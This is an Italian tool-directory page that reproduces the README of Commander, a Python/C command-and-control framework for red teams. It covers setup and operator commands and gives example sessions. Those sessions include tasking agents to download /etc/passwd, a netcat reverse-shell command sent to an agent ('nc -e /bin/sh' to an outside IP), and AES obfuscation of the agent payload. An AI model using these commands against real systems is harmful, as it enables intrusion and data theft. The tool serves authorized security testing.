Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Commander — Framework di comando e controllo basato su Python con comunicazione TLS crittografata, supporto per più agenti (Python/C), sessioni interattive, trasferimento file e offuscamento AES per operazioni di red team. | Kitploit
Strumenti/GitHubGitHub/voukatas/commander
Strumenti di Crittografia/DecrittografiaPost-ExploitPenetration TestingCommand and ControlRed TeamingSviluppo Payload
GitHubvoukatas/commander

Commander

Framework di comando e controllo basato su Python con comunicazione TLS crittografata, supporto per più agenti (Python/C), sessioni interattive, trasferimento file e offuscamento AES per operazioni di red team.

Vedi Repository
63182 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Commander

Commander è un framework di comando e controllo (C2) scritto in Python, Flask e SQLite. Viene fornito con due agenti scritti in Python e C.

In continuo sviluppo

Non adatto a script-kiddie

Caratteristiche

  • Comunicazione completamente crittografata (TLS)
  • Agenti multipli
  • Offuscamento
  • Sessioni interattive
  • Scalabile
  • Codifica dati Base64
  • API RESTful

Agenti

  • Python 3
    • L'agente Python supporta:
      • sessioni, una shell interattiva tra amministratore e agente (come SSH)
      • offuscamento
      • Sistemi sia Windows che Linux
      • funzionalità di download/upload file
  • C
    • L'agente C supporta per ora solo la funzionalità base, il controllo dei compiti per gli agenti
    • Solo per sistemi Linux

Requisiti

È richiesto Python >= 3.6 e le seguenti dipendenze

root@kitploit:~
Linux per admin.py e c2_server.py. (Non testato su Windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Anteprima

screenshot

Come Usarlo

Per prima cosa crea i certificati e le chiavi necessari

root@kitploit:~
# se vuoi proteggere la chiave con una passphrase escludi -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Avvia prima il modulo admin.py per creare un file db sqlite locale

root@kitploit:~
python3 admin.py

Continua eseguendo il server

root@kitploit:~
python3 c2_server.py

E infine l'agente. Per l'agente Python puoi eseguirlo direttamente, ma per l'agente C devi prima compilarlo.

root@kitploit:~
# agente Python
python3 agent.py

# agente C
gcc agent.c -o agent -lcurl -lb64
./agent

Per impostazione predefinita, sia gli agenti che il server funzionano su TLS e base64. Il punto di comunicazione è impostato a 127.0.0.1:5000 e nel caso sia necessario un punto diverso, deve essere cambiato nei file sorgente degli agenti.

Come operatore/amministratore puoi usare i seguenti comandi per controllare i tuoi agenti

root@kitploit:~
Comandi:

  task add arg c2-commands
    Aggiunge un compito a un agente, a un gruppo o a tutti gli agenti.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
    c2-commands: i valori possibili sono c2-register c2-shell c2-sleep c2-quit
      c2-register: Fa sì che l'agente si registri di nuovo.
      c2-shell cmd: Accetta un comando shell da eseguire per l'agente. es. c2-shell whoami
         cmd: Il comando da eseguire.
      c2-sleep: Configura l'intervallo con cui un agente controllerà la presenza di compiti.
      c2-session port: Istruisce l'agente ad aprire una sessione shell con il server su questa porta.
         port: La porta a cui connettersi. Se non fornita, il valore predefinito è 5555.
      c2-quit: Forza l'agente a uscire.

  task delete arg
    Elimina un compito da un agente o da tutti gli agenti.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
  show agent arg
    Mostra le informazioni per tutti gli agenti disponibili o per un agente specifico.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
  show task arg
    Mostra il compito di un agente o di tutti gli agenti.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
  show result arg
    Mostra la cronologia/risultato di un agente o di tutti gli agenti.
    arg: può avere i seguenti valori: 'all' 'type=Linux|Windows' 'your_uuid'
  find active agents
    Elimina il database in modo che gli agenti attivi vengano registrati di nuovo.

  exit
    Ciao ciao!


Sessioni:

  sessions server arg [port]
    Controlla un gestore di sessioni.
    arg: può avere i seguenti valori: 'start' , 'stop' 'status'
    port: la porta è opzionale per l'argomento start e se non fornita il valore predefinito è 5555. Questo argomento definisce la porta del server di sessioni.
  sessions select arg
    Seleziona a quale sessione collegarsi.
    arg: l'indice dal risultato di 'sessions list'
  sessions close arg
    Chiude una sessione.
    arg: l'indice dal risultato di 'sessions list'
  sessions list
    Mostra le sessioni disponibili
  local-ls directory
    Elenca sul tuo host i file nella directory selezionata
  download 'file'
    Scarica il 'file' localmente nella directory corrente
  upload 'file'
    Carica un file nella directory in cui si trova attualmente l'agente

Bisogna prestare particolare attenzione al comando 'find active agents'. Questo comando elimina tutte le tabelle e le ricrea. Potrebbe sembrare spaventoso ma non lo è, almeno questo è quello che credo :P

L'idea alla base di questa funzionalità è che il server c2 può richiedere a un agente di ri-registrarsi nel caso in cui non lo riconosca. Quindi, poiché vogliamo pulire il database dalle vecchie voci inutilizzate e allo stesso tempo trovare tutti gli host attualmente attivi, possiamo eliminare le tabelle e attivare il meccanismo di ri-registrazione del server c2. Vedi sotto per il meccanismo di ri-registrazione.

Flussi

Di seguito è riportato un diagramma di flusso normale

Flusso Normale

screenshot

Nel caso in cui l'ambiente subisca un guasto grave come un database corrotto o qualche altro guasto critico, viene abilitato il meccanismo di ri-registrazione in modo da non perdere la connessione con i nostri agenti.

Più specificamente, nel caso in cui perdiamo il database, non avremo informazioni sugli uuid che stiamo ricevendo, quindi non possiamo impostare compiti su di essi, ecc... Quindi, gli agenti continueranno a cercare di recuperare i loro compiti e poiché non li riconosciamo, chiederemo loro di registrarsi di nuovo in modo da poterli inserire nel nostro database e poterli controllare di nuovo.

Di seguito è riportato il diagramma di flusso per questo caso.

Flusso di Ri-registrazione

screenshot

Esempi utili

Per configurare il tuo ambiente, avvia prima admin.py e poi c2_server.py ed esegui l'agente. Dopo puoi controllare gli agenti disponibili.

root@kitploit:~
# mostra tutti gli agenti disponibili
show agent all

Per istruire tutti gli agenti ad eseguire il comando "id" puoi farlo così:

root@kitploit:~
# per tutti gli agenti
task add all c2-shell id

# controlla i risultati di "id"
show result all

Per controllare la cronologia/risultati precedenti di compiti eseguiti per un agente specifico, fallo così:

root@kitploit:~
# controlla i risultati di un agente specifico
show result 85913eb1245d40eb96cf53eaf0b1e241

Puoi anche cambiare l'intervallo con cui gli agenti controllano i compiti a 30 secondi in questo modo:

root@kitploit:~
# per impostarlo per tutti gli agenti
task add all c2-sleep 30

Per aprire una sessione con uno o più dei tuoi agenti, procedi come segue.

root@kitploit:~
# trova l'agente/uuid
show agent all

# abilita il server ad accettare connessioni
sessions server start 5555

# aggiungi un compito per una sessione al tuo agente preferito
task add your_prefered_agent_uuid_here c2-session 5555

# mostra un elenco di connessioni disponibili
sessions list

# seleziona a quale sessione collegarsi, scegliamo 0
sessions select 0

# esegui un comando
id

# scarica localmente il file passwd
download /etc/passwd

# elenca i tuoi file localmente per verificare che passwd sia stato creato
local-ls

# carica un file (test.txt) nella directory in cui si trova l'agente
upload test.txt

# torna alla cli principale
go back

# controlla se il server è in esecuzione
sessions server status

# ferma il server di sessioni
sessions server stop

Se per qualche motivo vuoi eseguire un'altra sessione esterna come con netcat o metasploit, procedi come segue.

root@kitploit:~
# mostra tutti gli agenti disponibili
show agent all

# prima apri un netcat sulla tua macchina
nc -vnlp 4444

# aggiungi un compito per aprire una reverse shell per un agente specifico
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

In questo modo avrai una shell 'dura a morire' che anche se ti disconnetti, si riprenderà immediatamente. Solo i comandi interattivi la faranno morire definitivamente.

Offuscamento

L'agente Python offre offuscamento utilizzando una crittografia AES ECB di base e la codifica base64

Modifica il file obfuscator.py e cambia il valore 'key' con una chiave di 16 caratteri per creare un payload personalizzato. L'output del nuovo agente si trova in Agents/obs_agent.py

Puoi eseguirlo così:

root@kitploit:~
python3 obfuscator.py

# e per eseguire l'agente, fai come al solito
python3 obs_agent.py

Suggerimenti e Trucchi

  1. Il server dell'app flask integrato non può gestire richieste multiple/concorrenti. Quindi, puoi usare il server gunicorn per prestazioni migliori in questo modo:
root@kitploit:~
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 
  1. Crea un file binario per il tuo agente Python in questo modo
root@kitploit:~
pip install pyinstaller
pyinstaller --onefile agent.py

Il binario si trova nella directory dist.

Nel caso qualcosa fallisca, potresti dover aggiornare le tue librerie python e pip. Se continua a fallire, allora... beh, la vita è successa

  1. Crea nuovi certificati per ogni incarico

  2. Fai il backup del tuo c2.db, è facile... solo un file

Test

pytest è stato usato per i test. Puoi eseguire i test così:

root@kitploit:~
cd tests/
py.test

Attenzione: Devi eseguire i test all'interno della directory tests altrimenti il tuo c2.db verrà sovrascritto e perderai i tuoi dati

Per controllare la copertura del codice e produrre un bel report html puoi usare questo:

root@kitploit:~
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

Disclaimer: Questo strumento è inteso solo come strumento di dimostrazione proof of concept per test di sicurezza autorizzati. Eseguire questo strumento contro host per i quali non si ha esplicita autorizzazione è illegale. Sei responsabile di eventuali problemi che potresti causare usando questo strumento.

Scarica lo strumento